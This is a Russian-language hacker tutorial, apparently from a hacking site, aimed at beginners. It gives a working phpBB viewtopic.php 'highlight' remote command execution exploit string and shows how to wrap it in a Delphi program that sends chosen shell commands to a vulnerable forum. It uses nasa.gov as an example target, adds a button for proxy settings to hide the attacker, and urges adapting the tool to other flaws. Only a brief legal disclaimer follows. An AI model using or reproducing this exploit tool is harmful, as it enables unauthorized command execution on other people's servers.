Здарова, юный кулхацкер, сегодня я расскажу тебе
как самому написать “десткий” эксплоит,
вернее это больше похоже на облегчение использования эксплойта, почему так, ты
поймёшь в процессе чтения. Я существо ленивое :) и именно лень толкнула меня
написать описываемый здесь пример. Просто меня задолбало каждый раз лазить в
текстовый файлик, копировать оттуда строку с эксплойтом и вставлять её в окошко
браузера.
Мы всё будем писать на Delphi т.к. он сейчас популярен среди начинающих хацкеров
и не только.
Итак, преступим!
Ты наверное слышал о огромной дыре в phpBB через которую можно было выпонять
команды на сервере. Вот сам эксплоит –
[site]/forum/viewtopic.php?t=7&highlight=%2527.\$poster=%60\$cmd%60.%527&cmd=команда
Скажи, тебе охота каждый раз, найдя бажный форум, лезть в текстовик, копировать
строку с эксплойтом и вставлять её в браузер? Мне тоже, поэтому я и написал
следующую вещь.
Весь код писался на Delphi 6 но мне кажется и в других версиях не будет проблем.
Главное чтоб в версии делфи которую ты юзаешь был компонент WebBrowser.
Остальные компоненты вроде бы имеются во всех версиях.
Зайди в делфи и создай новый проект. На форме размести следующие компоненты:
1.WebBrowser (1 штука)
2.Edit (3 штуки)
3.Lable (3 штуки)
4.Button (1 штука)
Затем назови поля Edit следующими именами – AdresEdit, CmdEdit и TopicEdit
В свойстве Caption, компонентов lable, впиши следующее – Номер топика, Адресс
сайта, Команда.
И Caption кнопки измени на go!
Итак сам кодинг!
Размести компоненты на форме так чтобы тебе было удобно потом пользоватся.
Теперь два раза щёлкни на кнопку go! , создастся обработчик события OnClick.
Затем между begin и end введи
WebBrowser1.Navigate(AdresEdit.text+'viewtopic.php?t=
'+TopicEdit+'&highlight=%2527.\$poster=%60\$cmd%60.%527&cmd='+CmdEdit.text);
Этот код пиши одной строкой.
Сейчас всё обьясню. Оператор WebBrowser1.Navigate отвечает за адресную строку, у
нас идёт следующее обращение – сначала берётся строка из поля AdressEdit
(например: www.nasa.gov/forum/) затем к ней прибовляется строка
“viewtopic.php?t=” таким образом у нас уже получается строка www.nasa.gov/forum/viewtopic.php?t=
, затем берётся число из поля TopicEdit (если на атакуемом форуме несуществует
топика с указанным тобою номером то эксплоит несработает а выдаст сообщение о не
существовании темы),допустим ты ввёл 59, тогда получается строка www.nasa.gov/forum/viewtopic.php?t=59
Затем ко всему этому пребовляется строка
“&highlight=%2527.\$poster=%60\$cmd%60.%527&cmd=” и получается у нас
www.nasa.gov/forum/viewtopic.php?t=59&highlight=%2527.\$poster=%60\$cmd%60.%527&cmd=
Теперь после знака “=” прибавляется то что ты набрал в строке CmdEdit (к примеру
ls).
Вот и получается строка обращения компонента WebBrowser
www.nasa.gov/forum/viewtopic.php?
t=59&highlight=%2527.\$poster=%60\$cmd%60.%527&cmd=ls
Результат этого запроса тут-же отобразится в компоненте WebBrowser.
Теперь тебе не придётся лазить за эксплоитом в текстовик а достаточно просто
запустить скомпилёный экзешник и набрать там адрес, номер топика и желаемую
тобой команду.
Обрати внимание что адресс должен содержать и путь к папке с форумом, например
www.nasa.gov/phpBB2/ или www.site.com/forum/
Кстати, при использовании компонента WebBrowser появляется одна интересная
возможность, дело в том что этот компонент непосредственно связан с IE и берёт
все настройки из него, в том числе и настройки проксика :). Ты думаешь что тебе
каждый раз придётся лазить в IE и менять настройки? Ты ошибаешся, можно это
оформить и в самой нашей проге.
В Delphi есть полезная функция ShellExecute она отвечает за запуск *.cpl файлов.
В cpl файлах хранятся настройки винды, например настройки рабочего стола. Но нам
нужны настройки IE. Это тоже можно реализовать. На форме своей проги размести
ещё одну кнопку и назови её “Настройки” или чтонить типа этого. Два раза кликни
на эту кнопку и между begin и end впиши следующее:
ShellExecute(Application.Handle, Pchar('Open'),
Pchar('Rundll32.exe'), Pchar('shell32, Control_RunDLL inetcpl.cpl'),
'', SW_SHOWNORMAL);
inetcpl.cpl – это имя cpl файла, в котором хранятся настройки, в разных виндах
файл может называться по разному, так что если не получится то попробуй в поиске
набрать *.cpl и среди найденных файлов найдите похожие по смыслу, подставляй их
имена заместо inetcpl.cpl и пробуй :), Теперь прямо из своей проги ты можешь
настроить проксик и прочее.
Надеюсь тебе не составит труда перебить эксплоит под какую нибудб другую
уязвимость :)
Предупреждаю что применение данного сплойта могут повлечь за собой уголовную
ответственность, за вред причиненный вышеописаной программой автор
ответственности не несет!!! |
Главная
Каталог файлов
